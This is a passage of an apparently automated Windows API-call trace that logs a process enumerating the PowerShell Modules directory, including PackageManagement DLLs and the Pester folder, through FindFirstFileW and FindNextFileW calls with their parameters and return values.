	[0182.681] FindNextFileW (in: hFindFile=0x4141ad0, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.681] FindClose (in: hFindFile=0x4141ad0 | out: hFindFile=0x4141ad0) returned 1
	[0182.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4131018 | out: hHeap=0x710000) returned 1
	[0182.681] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.681] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.681] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.681] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.716] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
	[0182.716] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.716] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0182.716] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0182.716] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0182.716] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.716] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.726] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0182.727] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0182.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.727] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0182.727] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0182.728] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0182.728] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0182.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0182.729] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.729] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0182.729] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4034f90
	[0182.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0182.729] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.729] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0182.730] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0182.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1
	[0182.731] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1
	[0182.732] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1
	[0182.732] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0
	[0182.732] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0182.732] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1
	[0182.733] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1
	[0182.734] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0
	[0182.734] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0182.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0182.734] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0
	[0182.734] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0182.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0182.735] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1
	[0182.735] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4014f80
	[0182.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0182.736] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
